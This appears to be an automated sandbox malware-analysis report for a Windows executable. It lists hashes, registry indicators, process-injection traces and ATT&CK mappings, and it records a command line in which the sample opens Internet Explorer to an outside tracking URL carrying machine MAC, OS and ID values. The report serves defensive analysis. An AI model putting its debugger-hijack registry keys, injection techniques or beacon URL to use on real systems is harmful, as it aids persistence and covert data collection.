Analysis
-
max time kernel
68s -
max time network
145s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
31/12/2023, 10:09
Static task
static1
Behavioral task
behavioral1
Sample
3231001d2573a1acc9cf281f0d9fc8e3.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
3231001d2573a1acc9cf281f0d9fc8e3.exe
Resource
win10v2004-20231215-en
General
-
Target
3231001d2573a1acc9cf281f0d9fc8e3.exe
-
Size
264KB
-
MD5
3231001d2573a1acc9cf281f0d9fc8e3
-
SHA1
435ede149656773acfeaf0a179d466672f295a09
-
SHA256
8452ea444f3e8d6b65b8ec9dbf3861f3115317b355f655ece5451270b3d7565c
-
SHA512
a76f8db333cbc0f5f68768f1fa2d586767883705177b7d5d82e12fa0670ca6e144a0932376326c19d4bb28b5a2baf8b3f1b1e5b3f71cacc61a86eea4f8af3edf
-
SSDEEP
6144:3+yFgv5dOMKyiQOtrNuvEBPTJaWVcInQxJlWwKiyVEqt:IrOMpdqNmEBYW2/JlQ5J
Malware Config
Signatures
-
Modifies visiblity of hidden/system files in Explorer 2 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-3818056530-936619650-3554021955-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0" 3231001d2573a1acc9cf281f0d9fc8e3.exe -
Sets file execution options in registry 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Thunder5.exe 3231001d2573a1acc9cf281f0d9fc8e3.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Thunder5.exe\Debugger = "svchost.exe" 3231001d2573a1acc9cf281f0d9fc8e3.exe -
resource yara_rule behavioral1/memory/2104-19-0x0000000000400000-0x0000000000457000-memory.dmp upx behavioral1/memory/2104-21-0x0000000003600000-0x0000000003804000-memory.dmp upx behavioral1/memory/2104-18-0x0000000000400000-0x0000000000457000-memory.dmp upx behavioral1/memory/2104-17-0x0000000000400000-0x0000000000457000-memory.dmp upx behavioral1/memory/2104-16-0x0000000000400000-0x0000000000457000-memory.dmp upx behavioral1/memory/2104-15-0x0000000000400000-0x0000000000457000-memory.dmp upx behavioral1/memory/2104-14-0x0000000000400000-0x0000000000457000-memory.dmp upx behavioral1/memory/2104-9-0x0000000000400000-0x0000000000457000-memory.dmp upx behavioral1/memory/2104-6-0x0000000000400000-0x0000000000457000-memory.dmp upx behavioral1/memory/2104-4-0x0000000000400000-0x0000000000457000-memory.dmp upx behavioral1/memory/2104-23-0x0000000000400000-0x0000000000457000-memory.dmp upx behavioral1/memory/2104-66-0x0000000000400000-0x0000000000457000-memory.dmp upx behavioral1/memory/2104-71-0x0000000000400000-0x0000000000457000-memory.dmp upx behavioral1/memory/2104-69-0x0000000000400000-0x0000000000457000-memory.dmp upx behavioral1/memory/2104-77-0x0000000000400000-0x0000000000457000-memory.dmp upx behavioral1/memory/2104-79-0x0000000000400000-0x0000000000457000-memory.dmp upx -
resource yara_rule behavioral1/memory/2244-65-0x0000000000400000-0x0000000000415000-memory.dmp vmprotect behavioral1/memory/2244-59-0x0000000000400000-0x0000000000415000-memory.dmp vmprotect behavioral1/memory/2244-56-0x0000000000400000-0x0000000000415000-memory.dmp vmprotect behavioral1/memory/2244-51-0x0000000000400000-0x0000000000415000-memory.dmp vmprotect behavioral1/memory/2244-48-0x0000000000400000-0x0000000000415000-memory.dmp vmprotect behavioral1/memory/2244-45-0x0000000000400000-0x0000000000415000-memory.dmp vmprotect behavioral1/memory/2244-43-0x0000000000400000-0x0000000000415000-memory.dmp vmprotect behavioral1/memory/2244-94-0x0000000000400000-0x0000000000415000-memory.dmp vmprotect -
Enumerates connected drives 3 TTPs 20 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\E: 3231001d2573a1acc9cf281f0d9fc8e3.exe File opened (read-only) \??\G: 3231001d2573a1acc9cf281f0d9fc8e3.exe File opened (read-only) \??\O: 3231001d2573a1acc9cf281f0d9fc8e3.exe File opened (read-only) \??\P: 3231001d2573a1acc9cf281f0d9fc8e3.exe File opened (read-only) \??\Q: 3231001d2573a1acc9cf281f0d9fc8e3.exe File opened (read-only) \??\L: 3231001d2573a1acc9cf281f0d9fc8e3.exe File opened (read-only) \??\R: 3231001d2573a1acc9cf281f0d9fc8e3.exe File opened (read-only) \??\V: 3231001d2573a1acc9cf281f0d9fc8e3.exe File opened (read-only) \??\W: 3231001d2573a1acc9cf281f0d9fc8e3.exe File opened (read-only) \??\Y: 3231001d2573a1acc9cf281f0d9fc8e3.exe File opened (read-only) \??\H: 3231001d2573a1acc9cf281f0d9fc8e3.exe File opened (read-only) \??\I: 3231001d2573a1acc9cf281f0d9fc8e3.exe File opened (read-only) \??\M: 3231001d2573a1acc9cf281f0d9fc8e3.exe File opened (read-only) \??\S: 3231001d2573a1acc9cf281f0d9fc8e3.exe File opened (read-only) \??\U: 3231001d2573a1acc9cf281f0d9fc8e3.exe File opened (read-only) \??\J: 3231001d2573a1acc9cf281f0d9fc8e3.exe File opened (read-only) \??\K: 3231001d2573a1acc9cf281f0d9fc8e3.exe File opened (read-only) \??\N: 3231001d2573a1acc9cf281f0d9fc8e3.exe File opened (read-only) \??\T: 3231001d2573a1acc9cf281f0d9fc8e3.exe File opened (read-only) \??\X: 3231001d2573a1acc9cf281f0d9fc8e3.exe -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 1984 set thread context of 2104 1984 3231001d2573a1acc9cf281f0d9fc8e3.exe 14 PID 1984 set thread context of 324 1984 3231001d2573a1acc9cf281f0d9fc8e3.exe 29 PID 1984 set thread context of 2244 1984 3231001d2573a1acc9cf281f0d9fc8e3.exe 30 -
Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\Tasks\9 3231001d2573a1acc9cf281f0d9fc8e3.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3818056530-936619650-3554021955-1000\Software\Microsoft\Internet Explorer\IntelliForms IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3818056530-936619650-3554021955-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3818056530-936619650-3554021955-1000\Software\Microsoft\Internet Explorer\IETld\LowMic IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3818056530-936619650-3554021955-1000\Software\Microsoft\Internet Explorer\LowRegistry IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3818056530-936619650-3554021955-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3818056530-936619650-3554021955-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3818056530-936619650-3554021955-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3818056530-936619650-3554021955-1000\Software\Microsoft\Internet Explorer\GPU IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3818056530-936619650-3554021955-1000\Software\Microsoft\Internet Explorer\InternetRegistry IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3818056530-936619650-3554021955-1000\Software\Microsoft\Internet Explorer\Toolbar IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3818056530-936619650-3554021955-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3818056530-936619650-3554021955-1000\Software\Microsoft\Internet Explorer\Zoom IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3818056530-936619650-3554021955-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3818056530-936619650-3554021955-1000\Software\Microsoft\Internet Explorer\PageSetup IEXPLORE.EXE -
Suspicious behavior: EnumeratesProcesses 15 IoCs
pid Process 324 3231001d2573a1acc9cf281f0d9fc8e3.exe 324 3231001d2573a1acc9cf281f0d9fc8e3.exe 324 3231001d2573a1acc9cf281f0d9fc8e3.exe 324 3231001d2573a1acc9cf281f0d9fc8e3.exe 324 3231001d2573a1acc9cf281f0d9fc8e3.exe 2244 3231001d2573a1acc9cf281f0d9fc8e3.exe 2244 3231001d2573a1acc9cf281f0d9fc8e3.exe 2244 3231001d2573a1acc9cf281f0d9fc8e3.exe 324 3231001d2573a1acc9cf281f0d9fc8e3.exe 324 3231001d2573a1acc9cf281f0d9fc8e3.exe 324 3231001d2573a1acc9cf281f0d9fc8e3.exe 324 3231001d2573a1acc9cf281f0d9fc8e3.exe 324 3231001d2573a1acc9cf281f0d9fc8e3.exe 324 3231001d2573a1acc9cf281f0d9fc8e3.exe 324 3231001d2573a1acc9cf281f0d9fc8e3.exe -
Suspicious use of FindShellTrayWindow 3 IoCs
pid Process 2104 3231001d2573a1acc9cf281f0d9fc8e3.exe 2104 3231001d2573a1acc9cf281f0d9fc8e3.exe 2104 3231001d2573a1acc9cf281f0d9fc8e3.exe -
Suspicious use of SendNotifyMessage 3 IoCs
pid Process 2104 3231001d2573a1acc9cf281f0d9fc8e3.exe 2104 3231001d2573a1acc9cf281f0d9fc8e3.exe 2104 3231001d2573a1acc9cf281f0d9fc8e3.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 2244 3231001d2573a1acc9cf281f0d9fc8e3.exe -
Suspicious use of WriteProcessMemory 28 IoCs
description pid Process procid_target PID 1984 wrote to memory of 2104 1984 3231001d2573a1acc9cf281f0d9fc8e3.exe 14 PID 1984 wrote to memory of 2104 1984 3231001d2573a1acc9cf281f0d9fc8e3.exe 14 PID 1984 wrote to memory of 2104 1984 3231001d2573a1acc9cf281f0d9fc8e3.exe 14 PID 1984 wrote to memory of 2104 1984 3231001d2573a1acc9cf281f0d9fc8e3.exe 14 PID 1984 wrote to memory of 2104 1984 3231001d2573a1acc9cf281f0d9fc8e3.exe 14 PID 1984 wrote to memory of 2104 1984 3231001d2573a1acc9cf281f0d9fc8e3.exe 14 PID 1984 wrote to memory of 2104 1984 3231001d2573a1acc9cf281f0d9fc8e3.exe 14 PID 1984 wrote to memory of 2104 1984 3231001d2573a1acc9cf281f0d9fc8e3.exe 14 PID 1984 wrote to memory of 324 1984 3231001d2573a1acc9cf281f0d9fc8e3.exe 29 PID 1984 wrote to memory of 324 1984 3231001d2573a1acc9cf281f0d9fc8e3.exe 29 PID 1984 wrote to memory of 324 1984 3231001d2573a1acc9cf281f0d9fc8e3.exe 29 PID 1984 wrote to memory of 324 1984 3231001d2573a1acc9cf281f0d9fc8e3.exe 29 PID 1984 wrote to memory of 324 1984 3231001d2573a1acc9cf281f0d9fc8e3.exe 29 PID 1984 wrote to memory of 324 1984 3231001d2573a1acc9cf281f0d9fc8e3.exe 29 PID 1984 wrote to memory of 324 1984 3231001d2573a1acc9cf281f0d9fc8e3.exe 29 PID 1984 wrote to memory of 2244 1984 3231001d2573a1acc9cf281f0d9fc8e3.exe 30 PID 1984 wrote to memory of 2244 1984 3231001d2573a1acc9cf281f0d9fc8e3.exe 30 PID 1984 wrote to memory of 2244 1984 3231001d2573a1acc9cf281f0d9fc8e3.exe 30 PID 1984 wrote to memory of 2244 1984 3231001d2573a1acc9cf281f0d9fc8e3.exe 30 PID 1984 wrote to memory of 2244 1984 3231001d2573a1acc9cf281f0d9fc8e3.exe 30 PID 1984 wrote to memory of 2244 1984 3231001d2573a1acc9cf281f0d9fc8e3.exe 30 PID 1984 wrote to memory of 2244 1984 3231001d2573a1acc9cf281f0d9fc8e3.exe 30 PID 1984 wrote to memory of 2244 1984 3231001d2573a1acc9cf281f0d9fc8e3.exe 30 PID 1984 wrote to memory of 2244 1984 3231001d2573a1acc9cf281f0d9fc8e3.exe 30 PID 2244 wrote to memory of 1580 2244 3231001d2573a1acc9cf281f0d9fc8e3.exe 33 PID 2244 wrote to memory of 1580 2244 3231001d2573a1acc9cf281f0d9fc8e3.exe 33 PID 2244 wrote to memory of 1580 2244 3231001d2573a1acc9cf281f0d9fc8e3.exe 33 PID 2244 wrote to memory of 1580 2244 3231001d2573a1acc9cf281f0d9fc8e3.exe 33
Processes
-
C:\Users\Admin\AppData\Local\Temp\3231001d2573a1acc9cf281f0d9fc8e3.exe"C:\Users\Admin\AppData\Local\Temp\3231001d2573a1acc9cf281f0d9fc8e3.exe"1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2104
-
C:\Users\Admin\AppData\Local\Temp\3231001d2573a1acc9cf281f0d9fc8e3.exe"C:\Users\Admin\AppData\Local\Temp\3231001d2573a1acc9cf281f0d9fc8e3.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1984 -
C:\Users\Admin\AppData\Local\Temp\3231001d2573a1acc9cf281f0d9fc8e3.exe"C:\Users\Admin\AppData\Local\Temp\3231001d2573a1acc9cf281f0d9fc8e3.exe"2⤵
- Modifies visiblity of hidden/system files in Explorer
- Sets file execution options in registry
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
PID:324
-
-
C:\Users\Admin\AppData\Local\Temp\3231001d2573a1acc9cf281f0d9fc8e3.exe"C:\Users\Admin\AppData\Local\Temp\3231001d2573a1acc9cf281f0d9fc8e3.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2244 -
C:\Program Files\Internet Explorer\IEXPLORE.EXE"C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://tongji.maxjust555.cn/avastcnzztj/ddqqbo.htm?mac=-901167814&os=windowsXP&ver=20090323&id=-1013383950.73⤵
- Modifies Internet Explorer settings
PID:1580 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1580 CREDAT:275457 /prefetch:24⤵PID:1392
-
-
-
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Defense Evasion
Hide Artifacts
1Hidden Files and Directories
1Modify Registry
3